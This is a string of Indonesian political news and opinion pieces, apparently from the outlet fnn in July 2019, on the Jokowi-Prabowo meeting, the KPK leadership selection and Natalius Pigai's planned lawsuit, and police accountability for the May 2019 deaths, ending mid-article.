Begitulah saya membaca ekspresi wajah Jenderal sendiri. Tulus-ikhlas bagaikan Anda menjual sesuatu dengan harga yang Anda harapkan dari pembeli. Nah, sekali lagi, jangan sampai salah tafsir. Kata ‘harga’ di sini bukan transaksional sifatnya. Ini hanya untuk membantu kita dalam melihat krusialnya legitimasi itu. Itu isu yang pertama. Isu lainnya adalah pendapat banyak orang bahwa Prabowo pintar memilih tempat (stasiun MRT). Pendapat itu menyebutkan Prabowo, secara halus, merendahkan Jokowi. Direndahkan karena bertemu di stasiun. Bukan di tempat yang mulia seperti Istana, hotel, rumah Prabowo, dst. Mohon maaf, logika ini perlu ditinjau ulang. Mengapa? Karena nilai legitimasi dari Prabowo itu tidak tergantung pada tempat penyerahannya. Kita ambil satu contoh yang mirip dengan legitimasi jabatan presiden itu. Katakan Anda baru saja lulus study S3 di Harvard University, Oxford atau Cambridge. Kemudian rektornya, entah dengan alasan apa, menyerahkan ijazah S3 Anda di toilet kampus. Apakah tempat penyerahan itu akan membatalkan gelar Anda? Tentu saja tidak. Begitu pula dengan legitimasi dari Prabowo. Tidak berkurang nilainya sedikit pun bagi Jokowi ketika itu diberikan Prabowo di stasiun kereta. Bahkan sekiranya Prabowo mengajak Jokowi ke toilet untuk menyalami dia dan mengucapkan selamat, juga tidak cacat sedikit pun asalkan disiarkan langsung oleh televisi dan ditonton jutaan orang. Tidak terhormatkah di toilet? Sangat keliru. Itu tadi, kalau ijazah S3 Anda diserahkan oleh rektor di toilet, apakah gelar Anda tak berlaku? Menurut saya, Jokowi tidak memerlukan penyerahan legitimasi dari Prabowo di tempat yang terhormat. Yang dia perlukan adalah ucapan selamat yang disaksikan oleh publik, baik itu rekaman video apalagi siaran langsung. Singkirkanlah perasaan Anda bahwa pemberian legitimasi di stasiun MRT merupakan penghinaan terhadap Jokowi. It doesn’t work that way, guys. Persoalan lainnya adalah logika lucu yang perlu diluruskan tentang pertemuan Jokowi-Prabowo. Bahwa kesediaan Prabowo bertemu merupakan strategi mantan Danjen Kopassus itu untuk satu tujuan besar yang tidak bisa diapahami oleh publik. Banyak yang yakin bahwa Prabowo memenuhi undangan naik MRT plus makan siang di Senayan itu adalah taktik untuk memenangkan sesuatu. Bapak-Ibuk sekalian. Tidak ada yang salah untuk tetap menaruh harapan bahwa ‘strategi’ Prabowo itu akan berakhir dengan kemenangan. Inilah harapan yang sangat patut dikagumi. Karena, harapan itu mencerminkan suasana batin yang cukup kuat. Menunjukkan bahwa para pendukung Prabowo tidak mudah menyerah. Tidak gampang putus asa. Ini hebat luar biasa! Hanya saja, harapan itu tak punya referensi yang memadai untuk disebut realistis. Harapan itu bergantung sepenuhnya pada ‘devine intervention’ (kehendak Tuhan). Tak salah kalau disebut mukjizat. Orang yakin akan ada kejutan besar dalam waktu dekat ini. Dasarnya adalah pengajuan gugatan PAP (pelanggaran administrasi pemilu) ke Mahkamah Agung (MA). Sebagian orang percaya Prabowo akan menang dan otomatis menjadi presiden yang sah. Jokowi akan dilucuti. Prabowo-Sandi yang akan dilantik. Semudah itukah? Rasanya tak mungkin. Memang tidak ada yang mustahil bagi Allah SWT. Tetapi, sebatas perkiraan realistis manusia, sangat tidak mungkin. Banyak pertanyaan yang harus dijawab. Misalnya, apakah masuk akal dengan satu ketukan palu MA semuanya berbalik untuk Prabowo? Apakah para hakim MA berani tampil beda dari para hakim MK? Dengan peta kekuatan institusional yang ada saat ini, apakah Anda yakin ‘kemenangan’ Jokowi bisa dianulir? Apakah orang-orang kuat Jokowi rela presiden mereka disingkirkan lewat selembar keputusan MA? Wallahu a’lam. Bagi saya, skenario ini jauh panggang dari api! Terus, strategi apalagi? Kawan, semua sudah selesai. Jokowi sudah berhasil mendapakan semua yang dia perlukan. Dan Prabowo sudah memberikan seluruh yang dia miliki.

Natalius Pigai Akan Menggugat Pansel KPK ke PTUN Jakarta

Jakarta fnn - Calon Komisioner KPK Natalius Pigai mengatakan akan menggugat Panitia Seleksi (Pansel) KPK ke Pengadilan Tata Usaha Negara (PTUN) Jakarta. Pigai menduga sengaja tidak dilosokan oleh Pansel pada tahap awal seleksi administrasi. Untuk itu, perlu dibawa ke Pengadilan TUN agar dapat diuji. Mana saja administrasi Pigai yang tidak lengkap, sehingga tidak diloloskan “Kerja Pansel KPK harus bisa dipertanggung jawabkan di depan majelis hakim Pengadilan TUN. Langkah ini untuk menghindari keputusan Pansel KPK hanya didasarkan pada suka atau tidak suka (like and dislike), “ujar Natalius Pigai kepada wartawan di Jakarta Jumat (12/07) Pansel calon pimpinan KPK telah merampungkan proses seleksi administrasi. Pengumuman hasil seleksi diumumkan oleh Pansel di Gedung Sekretariat Negara, Jakarta, Kamis (11/7/2019). Dari jumlah 376 yang mendaftar, 192 orang dinyatakan lolos seleksi administrasi. Sebanyak 180 orang pendaftar yang lolos adalah laki-laki. Sisanya perempuan sebanyak 12 orang. Adapun berdasarkan kategori profesi, sebanyak 40 orang berasal dari akademisi/dosen. Mereka yang dari kalangan advokat atau konsultan hukum 39 orang. Dari unsur korporasi ada 17 orang. Sedangkan dari unsur Jaksa dan Hakim 18 orang. Selain itu, dari unsur kepolisian ada 13 orang. Sementara dari kalangan auditor 9 orang, dan 13 orang dari komisioner dan pegawai KPK. Sisanya sebanyak 43 orang lagi berprofesi sebagai pensiunan, PNS, wiraswasta, NGO, dan pejabat negara. Ditambahkan Pigai, setelah membaca teks WA yang dikirim ke saya oleh salah satu anggota Ponsel Calon Pimpinan KPK, yang isinya tidak menyebutkan administrasi apa yang menyebabkan saya tidak lolos. Namun justru menyatakan bahwa “panitia seleksi terdiri dari 9 orang. Saya sudah berusaha, namun tetap gagal”. Artinya Yenti Garnasih dan 7 anggota Ponsel lainnya sengaja menolak saya tidak lolos di tahapan seleksi administrasi. “Berdasarkan pada teks WA dari salah satu anggota Pansel calon KPK ini, maka patut diduga ada unsur kesengajaan mencoret saya sejak awal seleksi administrasi. Pertanyaannya, apakah 192 orang yang lolos tersebut semuanya memenuhi syarat lebih baik dari saya? Untuk itu, perlu dibuka nanti di Pengadilan TUN. Apa saja kekurangan-kekuranga saya, “ujar Pigai Menurut Pigai, ada beberapa nama yang diloloskan oleh Pansel bukan sarjana hukum. Bahkan tidak punya pengalaman cukup bidang penegakan hukum. Apalagi mereka yang berasal dari PNS, NGO, wiraswasta, pejabat negara, dan dosen. Apakah mereka lebih baik dari saya? Apakah mereka dikenal dari segi kemampuan, integritas, kompetensi, konsistensi dibandingkan dengan saya? Untuk itu ada beberapa langka hukum yang akan dilakukan Pigai, diantaranya : Pertama, mengajukan gugatan hukum melalui PTUN agar melihat, meneliti rekam jejak dan pengalaman untuk membandingkan ersyaratan saya (Natalius Pigai) dengan 192 orang yang dinyatakan lolos oleh Pansel. Apabila ternyata ada satu atau lebih calon yang persyaratannya lebih rendah dari saya, maka saya meminta kepada pengadilan untuk diloloskan sebagai Capim KPK. Kedua, saya juga akan mempertimbangkan menggugat secara perdata atas kerugian dan harga diri saya sebagai mantan pimpinan Komnas HAM RI yang menangani kasus rata-rata 60% dari kurang lebih 6.000 – 8.000 kasus yang masuk ke Komnas HAM. Kontribusi nyata saya, Persoalan krusial bangsa inipun saya menjadi Ketua Tim yang menjaga keseimbangan kebangsaan yang negara. Saya adalah ketua Tim Pembela Habib Rizieq, Ulama, Habaib, Umat Islam dan Aktivis, yang membantu negara menjaga keseimbangan selama kurun waktu 2016-2018. Kalau saya tidak membantu,mungkin negara ini dalam keadaan perang saudara. Namun intelektualitas, objektivitas, konsisten, komitmen, jujur, bersih dan adil yang saya memiliki sebagai marwah harga diri saya tercederai, hanya karena ketidakadilan dan subjektivitas Ponsel Calon Pimpinan KPK. Ketiga, membaca pesan text WA dari salah satu anggota Pansel tersebut di atas, ternyata saya berkesimpulan bahwa ada unsur niat (mens rea) niat jahat. Selain itu ada juga dugaan kebencian sehingga membatasi hak asasi saya untuk membersihkan korupsi di negeri ini. Apabila nanti ternyata terbukti di PTUN bahwa Pansel diskriminatif, maka saya akan menyiapkan pengacara profesional untuk melaporkan Pansel ke Bareskrim Mabes Polri sebagai perbuatan pidana. Keempat, dengan melihat profil sembilan anggota Pansel dan latar belakangnya, maka saya berpendapat bahwa ada anggota Pansel KPK yang kompetensinya sangat diragukan. Ibarat murid SD yang menguji seorang sarjana dalam konteks kepatutan dan kelayakan menjadi anggota panitia seleksi. Oleh karena itu, saya bersama semua unsur masyarakat akan meminta Pansel Pimpinan KPK dibubarkan, dan perlu dilakukan pembentukan panitia seleksi yang kredibel dan kompeten. “Bagaimanapun saya adalah pelaku aktivis reformasi 1998. Saya pernah jatuh bangun, dipukul, ditahan, dan tidur di atas es balok aparat keamanan. Bahkan saya dan teman-teman sampai potong kambing hidup di senayan, hanya demi memperjuangkan agar negara ini bersih dari Korupsi, Kolusi dan Nepotisme (KKN). Saya dan kawan kami yang jadi martir dan masih hidup tidak pernah melihat batang hidung dari anggota Pansel Calon Pimpinan KPK di reformasi 1998, “kata Pigai Saya ujar Pigai, telah tunjukan pengabdian kepada bangsa dan negara selama 18 tahun menajadi pejabat di pemerintahan. Dimulai sejak zaman Presiden Gus Dur, dengan menjadi Staf Khusus Menakertrans sampai dengan Pimpinan Komnas HAM. Sebagai orang yang berdarah aktivis, saya tetap konsisten atas perjuangan dan cita-citra reformasi 1998. “Dengan demikian, sikap Pansel Calon Pimpinan KPK sangat mencederai cita-cita reformasi yang kami gulirkan. Jangan sampai sampai cita-cita reformasi diseludupkan oleh para penyelundup-penyelundup yang tidak berkeringat setitikpun saat perjuangan menggelorakan reformasi. Dan mulai hari ini kami menyatakan akan melawan, “tegas Pigai

Natalius Pigai, Komisioner KPK dan Mandat Reformasi untuk Pemberantasan KKN

Oleh: Haris Rusly Moti Jakarta, fnn - Berantas KKN (Korupsi, Kolusi dan Nepotisme) bergema di jalanan di tahun 1998. Istilah KKN menjadi istilah yang sangat populer kala itu. Gerakan pemberantasan KKN adalah anti tesa terhadap sebuah rezim yang dibentuk diantaranya oleh perilaku korupsi, kolusi dan nepotisme. Gerakan reformasi itu telah mencapai usia 21 tahun. Namun, mandat pemberantasan korupsi, kolusi dan nepotisme tersebut makin jauh panggang dari api. Bahkan, katanya perilaku KKN justru jauh lebih ganas dari era Orde Baru. Perilaku korupsi, kolusi dan nepotisme itu kini menjangkit kepada para pelaku gerakan reformasi yang dulunya lantang meneriakan anti KKN. Korupsi, Kolusi dan Nepotisme (KKN) kini bahkan telah menjadi tujuan setiap orang yang berniat menjadi pejabat negara. Semakin banyak “penjebakan” tangkap tangan yang dilakukan KPK tak membuat para pejabat jera. Bahkan tak mengurungkan niat para pejabat negara untuk merampok uang negara. Angka kejahatan korupsi justru meningkat seiring “keras”nya tindakan KPK. Karena itu, wajar jika banyak kalangan mengkuatirkan agenda pemberantasan korupsi justru berubah tujuan menjadi projek pemberantasan korupsi. Ukuran keberhasilan pemberantasan korupsi tidak lagi dilihat dari makin berkurangnya angka korupsi. Keberhasilan pemberantasan korupsi justru dilihat dari semakin banyaknya keberhasilan KPK melakukan operasi tangkap tangan. Kelihatannya Pimpinan KPK tak konsisten merekomendasikan penataan ulang sistem negara yang dapat mencegah menjamurnya korupsi. Dalam keadaan seperti itulah kita membutuhkan aktivis mahasiswa 1998 sebagai pengusung mandat pemberantasan KKN untuk hadir di dalam institusi negara yang bernama KPK. Sejak gerakan reformasi bergulir, belum pernah ada aktivis mahasiswa 1998 yang duduk di kursi Komisioner KPK. Padahal salah satu landasan dibentuknya KPK diantaranya adalah untuk mewujudkan salah satu mandat reformasi, yaitu pemberantasan Korupsi, Kolusi dan Nepotisme (KKN). Karena itu, langkah Natalius Pigai untuk ikut seleksi menjadi salah satu Komisioner KPK patut diapresiasi dan didukung. Natalius Pigai sendiri adalah salah satu aktivis gerakan mahasiswa 1998 Yogyakarta. Setidaknya melalui figur Pigai, aktivis gerakan mahasiswa 1998 dapat mempertanggungjawabkan mandatnya yang pernah diusung tahun 1998. Ada apa dengan mandat pemberantasan KKN? Kenapa mandat yang dulu dengan lantang diteriakan kini justru menjangkit balik sejumlah aktor reformasi tersebut? Kehadiran Pigai sebagai aktivis gerakan mahasiswa 1998 di KPK, kita harapkan menyumbang perspektif yang berbeda dengan mindset pemberantasan korupsi yang gagal mencegah menjamurnya korupsi, kolusi dan nepotisme. Haris Rusly Moti, eksponen gerakan mahasiswa 1998, Yogyakarta

KPK Bukanlah Gudang Sampah Pensiunan Mencari Kerja

Jakarta, fnn - Lembaga anti rasuah Komisi Pemberantasan Koruspsi jangan sampai dijadikan gudang sampah untuk menampung pensiunan hakim, jaksa, anggota polisi dan tentara. KPK harus tetap menjadi benteng pertahanan dan harapan masyarakat untuk kegiatan pemberantasan korupsi di tanah air. Institusi KPK juga perlu dibebaskan dari para mantan pajabat yang akan mencari pekerjaan tambahan setelah pensiun dari dinas aktif “Calon pimpinan KPK harusl diisi oleh orang-orang yang teruji punya kemauan di atas rata-rata untuk pemberantasan korupsi. Orang-orang yang sudah selesai dengan urusan dunia dan pribadinya. Pimpinan KPK jangan sampai berasal dari para pensiunan penegak hukum atau yang akan memasuki masa pensiun beberapa bulan lagi, “ujar politisi Partai Nasdem Kisman Latumakulita di Jakarta Rabu (10/07). Ditambahkan Kisman, jika calon pimpinan KPK berasal dari para pensiunan atau mereka yang sebentar lagi memasuki masa pensiun, maka dampaknya bukan untuk memperkuat KPK. Namun yang akan terjadi justru sebaliknya memperlemah KPK. Apalagi mereka yang berlatar belakang penegak hukum. Kemungkinan ini yang harus dihindari sejak awal oleh Panitia Seleksi (Ponsel) calon pimpinan KPK sekarang. Presiden Joko Widodo punya komitmen serius dalam pemberanatasan korupsi. Sebaiknya calon pimpinan KPK dari unsur Polisi, Kejaksaan, TNI dan Hakim harus dikurangi. Bahkan bila perlu tidak diberikan peluang lolos sebagai calon pimpinan KPK. Sebab bisa menimbulkan citra buruk dalam penegakan hukum terhadap korupsi. “Salah satu daya dorong paling kuat yang menjadi dasar bagi lahirnya pembentukan kelembagaan KPK adalah buruknya penegakan hukum korupsi pada lembaga Kejaksaan dan Kepolisian. Untuk itu, KPK lahir dengan menawarkan formula dan trigger baru. Dan Alhamdulilaah, lahirnya bayi penegakan hukum atas korupsi bernama KPK ini mendapat dukungan penuh dari rakayt, “ujar Kisman. Sayangnya dalam perjalanan, seleksi calon pimpinan KPK menjadi terbuka. Siapa saja bisa ikut. Bahkan boleh merekrut unsur-unsur dari Kepolisian dan Kejaksaan. Tentu saja seleksi calon pimpinan KPK seperti ini sangat menyalahi, mengingkari dan mengkhianati tujuan awal pembentukan bayi yang bernama KPK. “Jika KPK diisi oleh unsur pimpinan dari Kejaksaan dan Kepolisian, maka sama saja dengan ingin memandulkan kelembagaan KPK dalam pemberantan korupsi. Sebab kirerja KPK nantinya tidak berbeda jauh dengan kinerja kelembagaan Kejaksaan dan Kepolisian. Kemungkinan ini yang harus dihindari oleh Ponsel calonm pimpinan KPK," ujar Kisman. Menurut Kisman, kalaupun perlu melibatkan calon pimpinan KPK dari unsur Kejaksaan, Kepolisian, TNI dan Hakim, maka sebaiknya bukan dari mereka-mereka yang sudah pensiunan atau akan pensiun beberapa bulan lagi dari dinas aktif. Sebab hanya akan menjadi beban bagi KPK ke dapan. Selain itu, hampir pasti bakal memandulkan kerja-kerja pemberantasan korupsi. Untuk itu, calon pimpinan KPK periode kelima nanti, sebaiknya diisi oleh orang-orang yang mempunyai integritas tinggi. Kemauan dan komitmen terhadap pemberantasan korupsi juga harus di atas rata-rata. Bukan mereka mau mancari dan melamar pekerjaan baru karena sudah pensiun atau akan pensiun beberapa bulan lagi. “Kalaupun terpaksa haru melibatkan calon pimpinan KPK dari unsur Kepolisian dan Kejaksaan, maka bukanlah dari pensiunan atau yang akan pensiun beberapa bulan lagi. Namun mereka yang punya dinas aktif di Kepolisian dan Kejaksaan masih panjang. Minimal baru akan pensiun tiga tahun lagi, “ujar Kisman yang juga wartawan senior tersebut. (lohy)

Pemimpin Itu Rezeki, Bisa Datang dari Arah yang Tak Terduga

Oleh Asyari Usman (Wartawan Senior) Jakarta, fnn - Bukan hanya duit, makanan, minuman, kesehatan, dll, saja yang disebut rezeki. Pemimpin juga rezeki. Karena itu, dia termasuk dalam kategori yang bisa muncul dari arah yang tak terduga-duga. Di luar perhitungan. “Man yattaqillaha yaj’allahu makhraja, wa yarzuqhu min haitsu laa yahtasib.” (Barangsiapa takut kepada Allah, akan diberikan jalan keluar baginya. Dan akan diberikan rezeki kepadanya dari arah yang tak disangka-sangka). Bangsa Indonesia sedang memerlukan seorang pemimpin (rezeki) yang muncul dari arah yang tak terduga-duga itu. Dengan kapasitas yang tak pernah terduga pula. Mengapa diperlukan pemimpin dari arah yang tak disangka-sangka? Karena figur-figur yang dimunculkan dari arah biasa atau “arah yang diduga”, ternyata semuanya bisa “diduga” oleh kubu lawan. Jadi, ke depan ini umat perlu membiarkan ar-Razzaaq memberikan rezeki (pemimpin) yang tak disangka-sangka itu. “Wa yarzuqhu min haitsu laa yahtasib.” Mungkinkah itu terjadi? Sangat mungkin. Cuma saja, rezeki yang datang dari arah yang tak disangka-sangka biasanya turun di tengah situasi dan kondisi yang memprihatinkan. Kondisi yang membuat orang fokus (khusyu’) meminta pertolongan hanya kepada-Nya saja. Sebagai contoh, ada keluarga miskin yang sudah tiga hari tak makan. Mereka sabar, tabah, berusaha, dan berdoa. Tiba-tiba saja, entah bagaimana, dia mendapat sumbangan dari seseorang yang tak disangka-sangka. Mereka akhirnya bersukacita, bahagia, dan bersyukur tak henti-hentinya. Rezeki yang tak disangka-sangka itu memberikan solusi menyeluruh bagi keluarga miskin tadi. Kini mereka tidak hanya bisa makan tiga kali sehari, melainkan bisa membuat usaha yang dapat menolong belasan keluarga miskin lainnya yang setara seperti mereka. Secara logika, jika mereka menanti rezeki reguler yang “bisa diduga” seperti selama ini, pastilah mereka sekeluarga akan tetap makan kelang-kelang hari. Sekarang, mereka lepas dari penderitaan lahir-batin berkat rezeki yang tak disangka-sangka itu. Begitulah tampaknya kondisi bangsa ini. Sedang menantikan turunnya seorang pemimpin yang tak disangka-sangka dengan kapasitas yang tak pernah terduga. Pemimpin yang siap mengambil langkah apa saja yang tak bisa diduga oleh lawan. Si pemimpin “min haitsu laa yahtasib” itu akan melancarkan gebrakan yang tak pernah disangka-sangka oleh orang lain. Lawan menghadapi suasana yang tidak mereka duga akibat kehadiran pemimpin yang tak disangka-sangka itu. Lawan tergemap. Gugup, gagap dan akhirnya lenyap. Mungkinkah pemimpin yang datang dari arah yang tak disangka-sangka itu muncul saat-saat sekarang? Wallahu a’lam. Jika dilihat dari contoh di atas, jelas ada prasyarat untuk itu. Artinya, umat ini perlu lebih dulu mengalami penderitaan berat. Kondisi ini akan membentuk ketakwaan terbaik dan ketawakkalan. Pada waktu itulah, mungkin, umat bisa mengharapkan rezeki (pemimpin) yang datang dari arah yang tak disangka-sangka itu. “Wa yarzuqhu min haitsu laa yahtasib.” (Penulis adalah wartawan senior)

Pimpinan KPK, Pigai dan Dharma Tepat Mewakili Wilayah Tengah dan Timur

Jakarta, fnn - Panitia Seleksi (Pansel) calon pimipinan Komisi Pemberantasan Korupsi (KPK) telah menutup pendaftaran bagi calon-calon komisioner pimpinan KPK Kamis sore 5 Juli 2019, pukul 16.00 WIB. Tercatat sebanyak 348 orang yang mendaftarkan diri secara manual. Dari jumlah tersebut, belum termasuk yang mendaftarkan diri melalui email. Dari profil mereka yang mendaftar, tampak calon komisioner KPK berasal dari berbagai latar belakang profesi dan disiplin ilmu. Ada yang dari Perwira Tinggi Mabes Polri, pejabat eselon dua di Kejaksaan Agung, Perwira Tinggi TNI, dan hakim tinggi yang aktif. Selain itu, ada juga kalangan advokat, aktivis kemanusiaan, anggota Komisi Kepolisian Nasional (Kompolnas) dan akademisi. Dari internal KPK, ikut mendaftar komisioner KPK yang masih aktif, serta dari kalangan pegawai KPK. “Sejak KPK periode pertama sampai dengan periode keempat sekarang, umumnya didominasi oleh mereka yang berasal dari wilayah barat Indonesia, khusunya Pulau Jawa dan Pulau Sumatera. Untuk itu, pimpinan KPK ke depan, personilnya perlu dibuat perimbangan antara wilayah timur, tengah, dan barat Indonesia,“ himbau wartawan senior asal Indonesia Timur Kisman Latumakulita di Jakarta Senin (08/07). Ditambahkan Kisman, baik Pansel KPK maupun Komisi III DPR, sebaiknya mengakomodir dua sampai tiga orang dari wilayah timur dan tengah Indonesia untuk menjadi pimpinan KPK. Dengan demikian, sangat layak dan tepat bila Natalius Pigai dan Irjen Polisi Drs. Dharma Pongrekun diakomodir sebagai pimpinan KPK mewakili wilayah timur dan tengah Indonesia. Jangan hanya dimonopoli oleh wilayah barat, khususnya Pulau Jawa dan Sumatera Pimpinan KPK periode pertama seratus persen berasal dari pulau Jawa dan Sumatera. Sebagai Ketua Taufiequrachman Ruki, dengan Wakil Ketua Amin Sunaryadi, Erry Riyana Hardjapamekas, Tumpak Hatorangan Panggabean dan Sjahruddin Rasul. Sedangkan KPK periode kedua Antasari Azhar sebagai Ketua, dengan Wakil Ketua Bibit Samad Rianto, Mochammad Jasin, Chandra Hamzah, dan Haryono Umar. Pimpinan KPK periode kedua juga seratus persen berasal dari pulau Jawa dan Sumatera. Sedangkan pimpinan KPK periode ketiga adalah Abraham Samad sebagai Ketua KPK, dengan Wakil Ketua Bambang Widjojanto, Zulkarnain, Adanan Pandu Praja dan Muhammad Busyro Muqoddas. Selain Abraham Samad yang berasal dari Sulawesi Selatan, semua pimpinan KPK periode ketiga berasal dari pulau Jawa dan Sumatera. Sedangkan pimpinan KPK periode keempat sekarang, tampil sebagai Ketua adalah Agus Rahardjo, dengan Wakil Ketua Basaria Panjaitan, Alexander Marwata, Saud Situmorang dan La Ode Muhammad Syarif. Selain La Ode Muhammad Syarif yang berasal dari Sulawesi Tenggara, semua pimpinan KPK periode keempat ini berasal dari pulau Jawa dan Sumatera. Bahkan dua di antaranya berasal dari Sumatera Utara “Dilihat dari asal daerah para pendaftar, hampir 90% didominasi oleh mereka yang berasal dari wilayah Indonesia barat, terutama Pulau Jawa dan Sumatera. Hanya sekitar 10% yang berasal dari wilayah Indonesia Tengah dan Timur. Dengan demikian, diperlukan komitmen politik yang kuat dan sungguh-sungguh dari Ponsel KPK dan Komisi III DPR untuk meloloskan wakil dari wilayah timur dan tengah Indonesia, sepanjang memenuhi syarat dan kemampuan individu untuk menjadi pimpinan KPK, “ himbau Kisman yang juga politisi Partai Nasdem tersebut. Menurut Kisman, putra asal wilayah Timur Indonesia Natalius Pigai sangat mempunyai kompetensi dan skill untuk menjadi pimpinan KPK periode kelima. Pigai juga punya kemampuan dan keahlian untuk bekerja secara team work. Apalagi Pigai pernah belajar kerja-kerja investigasi di Federal Bureau of Investigation (FBI) Amerika selama satu tahun. Pigai pernah menjadi Komisioner Komnas HAM. Selama menjadi Komisioner Komnas HAM, tercatat sudah puluhan ribu kasus pelanggaran HAM yang dibongkar oleh Pigai. Putra asli Papua ini sudah terbiasa dan teruji membongkar kasus-kasus pelanggaran HAM, yang melibatkan institusi-institusi negara dan para konglomerat besar. Berbagai macam ancaman, tekanan dan hinaan sudah sering dialamatkan kepada Pigai. Selain Pigai, Irjen Polisi Dharma Pongrekun mempunyai kemampuan dan kualifikasi khusus di bidang penyelidikan dan penyidikan. Dharma yang sekarang Deputi Identifikasi dan Deteksi Badan Siber dan Sandi Negara (BSSN) ini sudah malang-melintang di dunia reserse polisi. Pernah menjabat Kasat II Harda Bangtah Ditreskrimum Polda Metro Jaya, Kasat II Ditnarkoba Polda Bengkulu, Wadir Raskrimum Polda Metro Jaya, Kasudit Indag Dirtpid Eksus Bareskrim Polri, Wadir Tipidum Bareskrim Polri, Direktur Narkoba Bareskrim Polri. Dharma yang asal Tanah Toraja ini, pernah ikut seleksi calon pimpinan KPK periode ketiga. Saat itu standar nilai yang diperoleh Dharma dari seluruh tahapan ujian seleksi mencukupi untuk masuk ke sepuluh besar sebelum dibawah ke DPR untuk fit and proper test. Sayangnya, Dharma diusulkan oleh institusinya sendiri agar tidak diloloskan ke DPR, hanya karena pangkatnya yang masih Kombes Polisi ketika itu. “Secara kompetensi individu, Dharma memiliki potensi untuk lolos menjadi komisioner KPK. Apalagi saat ini secara kepangkatan, Dharma telah mencapai bintang dua atau Irjen Polisi. Dengan demikian, Dharma telah memenuhi persyaratan kepangkatan untuk menjadi salah satu pimpinan KPK, “ kata Kisman. Kisman mengingatkan Ponsel KPK dan Komisi III DPR bahwa lolosnya Pigai dan Dharma menjadi taruhan ujian kebersamaan dan kesetaraan kita dalam mengelola bangsa dan negara. Jangan sampai KPK hanya didominasi oleh mereka yang berasal dari pulau Jawa dan Sumatera. Untuk itu, diperlukan komitmen dan keberpihakan dari elite politik nasional dalam mendistribusikan sumber daya manusia yang equal antara wilayah barat, tengah dan timur secara merata.

Tim Moechgiyarto Harus Sentuh Komandan Tertinggi Kewilayahan

By Luqman Ibrahim Soemay Jakarta, fnn - Kerja Tim Pencari Fakta (TPF) bentukan Kapolri Tito Karnavian untuk menyelidiki kematian sembilan orang di depan Bawaslu 21 dan 22 Mei 2019 harus menyetuh komandan tertinggi kewilayahan atau provinsi setempat. Tim yang dipimpin Irwasum Polri Komjen Moechgiyarto jangan hanya terbatas pada komandan di tingkat Kabupaten atau Kota, yang biasa disebut Kasatwil saja. Apalagi kalau dibatasi hanya palaku penembakan di lapangan Komandan yang bertanggung jawab harus ditarik dua tingkat di atas dari pelaku lapangan. Selain kasatwil sebagai pelaksana operasional lapangan, komandan tertinggi di kewilayahan atau provinsi juga harus bertanggung jawab atas kematian sembilan orang tersebut. Sebab perintah penembakan datang dari Kasatwil dan komandan tertinggi kewilayahan. Misalnya, kalau locus delicti di Jakarta, ya tentu Kapolda Metro Jaya Anggota Brimob Polri dari daerah yang diperbantukan ke Jakarta ketika itu, semuanya dibawah kendali dari Kapolda Mentro Jaya. Mereka di Bawah Kendali Operasi (BKO) atau di-BKO-kan ke Polda Metro Jaya. Ototmatios yang paling bertanggung jawab terhadap semua prilaku anggota Brimob Polri di lapangan adalah Kapolda Metro Jaya. Dengan demikian, pemeriksaaan yang dilakukan TPF pimipinan Moechgyarto mutlak harus sampai kepada Kapolda Metro Jaya. Posisinya sebagai penanggung jawab tertinggi keamanan di wilayah Jakarta. Jika terjadi kelasahan prosedur di lapangan, maka sanksi atau hukuman yang dijatuhkan jangan hanya kepada pelaku lapangan saja. Sanksi juga harus diberikan kepada Kasatwil, dalam hal ini Kapolres Jakarta Pusat. Karena locus delicti di jalan Thamrin dan sekitarnya, maka selain Kapolres Jakarta Pusat, sanksi juga harus diberikan kepada Kapolda Metro Jaya. Patut diduga Kapolda Metro Jaya telah lalai melaksanakan perintah Kapolri Jendral Tito Karnavian tentang penggunanaan peluru tajam. Pola pertanggung jawaban dua tingkat ke atas dari pelaku lapangan ini sudah menjadi standar baku di institusi Polri dan TNI. Tercatat sudah tiga Panglima Kodam (Pangdam) dan dua Kapolda yang dicopot dari jabatannya karena ikut bertanggung jawab secara jabatan atas kematian akibat penembakan oleh anggota TNI dan Polri di lapangan. Pertama, peristiwa Santa Cruz di Dilli Timur Timor--- kini Timur Leste pada 12 November 1991. Dalam peristiwa ini sejumlah orang meninggal dunia. Para petinggi militer, mulai dari Dandim Dilli, Danrem Timur Timor, Pangkolakoops Brigjen TNI Rudolf Warouw dan Pangdam Udayana MayjenTNI Sintong Panjaitan diadili oleh Dewan Kehormatan Militer (DKM). DKM ketika itu dipimpin oleh Komandan Seskoad Mayjen TNI Feisal Tanjung. Rekomendasi dari sidang DKM adalah mencopot semua komandan militer di lapangan, mulai dari Dandim Dilli sampai Pangdam Udaya Mayjen TNI Sintong Panjaitan. Berakhirlah kerier dan bintangnya Mayjen TNI Sintong Panjaitan di dunia militer. Kedua, setelah Sintong Panjaitan, pada tahun 1998 giliran Mayjen TNI Syafrie Syamsudin yang dicopot dari jabatannya sebagai Pangdam Jaya. Kematian empat mahasiswa Universitas Trisakti, almarhum Elang Lasmana dan kawan-kawan mangakibatkan Syafrie diadili Dewan Kehormatan Perwira (DKP). Hasil rekomendasi dari sidang DKP adalah mencopot Syarie Syamsudin dari jabatan Pangdam Jaya. Selain Syafrie Syamsudin, sidang DKP juga merekomendasikan pencopotan terhadap Mayjen Polisi Hamami Natta dari jabatannya sebagai Kapolda Metro Jaya. Di sinilah untuk pertama kali dalam sejarah, seorang Kapolda dicopot dari jabatannya karena penembakan kepada warganegara yang berakibat pada kematian. Bukan saja Hamami Natta yang pernah dicopot dari jabatan sebagai Kapolda. Irjen Polisi Nanan Sukarna---jabatan terakhir Wakapolri juga dicopot dari jabatan Kapolda Sumatera Utara. Nanan dicopot karena kematian Ketua DPRD Sumatera Utara Abdul Aziz Angkat akibat demonstrasi besar-besaran di depan Kantor DPRD Sumatera Utara. Selain Nanan, Mabes Polri ketika itu juga mencopot Kapoltabes Medan Kombes Aton Suhartono. Ketiga, peristiwa Santa Cruz Dilli dan Universitas Trisakti, peristiwa Lembaga Pamasyarakatan (Lapas) Cebongan Jogyakarta juga berbuntut panjang. Mayjen TNI Hardiono Saroso harus berbesar hati meninggalkan jabatan Pangdam Diponegoro. Kematian empat penghuni Lapas Cebongan berakibat Mayjen TNI Hardiono dicopot dari jabatannya seabagai Pangdam Diponegoro. Padahal, posisi Mayjen TNI Hardiono Saroso ketika itu tidak ada kaitan langsung dengan anggota TNI yang membunuh empat penghuni Lapas Cebongan. Keterkaitan Mayjen Hardiono Saroso hanya sebagai Komandan Garnisun Jawa Tengah dan Jogyakarta. Selain itu, Mayjen TNI Hardiono Saroso juga sebagai pembina seluruh anggota TNI AD, TNI AL dan TNI AU di wilayah Jawa Tengah dan Jogyakarta. Jika TPF tidak merekomendasikan sanksi atau 